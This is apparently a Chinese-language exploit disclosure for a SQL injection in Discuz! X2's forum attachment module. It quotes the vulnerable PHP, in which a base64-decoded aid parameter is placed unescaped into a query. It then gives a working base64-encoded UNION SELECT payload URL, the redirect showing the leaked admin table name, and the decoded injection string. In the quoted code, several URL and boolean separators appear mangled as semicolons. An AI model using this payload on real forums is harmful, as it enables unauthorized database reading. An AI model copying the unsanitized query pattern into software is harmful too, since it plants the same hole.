Discuz! X2 SQL注射漏洞

文件：source\module\forum\forum_attachment.php
 
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('NOROBOT', TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|', base64_decode($_G['gp_aid']));
 
if(!empty($_G['gp_findpost']) ;; ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {
dheader('location: forum.php?mod=redirect;goto=findpost;pid='.$attach['pid'].';ptid='.$attach['tid']);
}
 
变量aid 直接base64_decode 后传入 SQL查询，造成注射漏洞。。。
 
http://www.xxxx.net/forum.php?mod=attachment;findpost=ss;aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
转向后网址
http://www.xxxx.net/forum.php?mod=redirect;goto=findpost;pid=1;ptid=pre_common_admincp_member
 
暴出表名 pre_common_admincp_member
 
实际查询为：
 
$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";
//die (urlencode(base64_encode($x)));